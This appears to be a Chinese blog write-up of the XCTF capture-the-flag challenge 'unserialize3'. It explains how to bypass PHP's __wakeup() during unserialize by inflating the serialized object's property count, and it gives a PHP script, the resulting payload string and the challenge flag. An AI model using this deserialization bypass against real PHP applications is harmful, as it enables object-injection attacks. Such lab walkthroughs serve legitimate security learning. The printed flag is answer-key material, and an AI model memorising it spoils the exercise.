攻防世界-unserialize3详解

unserialize3

查看源代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

这是一个利用反序列字符串来进行绕过的题,根据提示我们要构造code参数,但是需要绕过wakeup函数

**__wakeup()**是PHP的一个魔法函数,在进行unserialize反序列化的时候,首先查看有无该函数有的话
就会先执行他
绕过:
可以通过增加对象的属性个数来进行绕过

根据源码编辑php脚本输出序列化字符串:

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));

?>

在这里插入图片描述
将对象属性由1变为2得到:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在这里插入图片描述
flag:
cyberpeace{79352c035adfa003c5b15c94b88c6c67}

评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值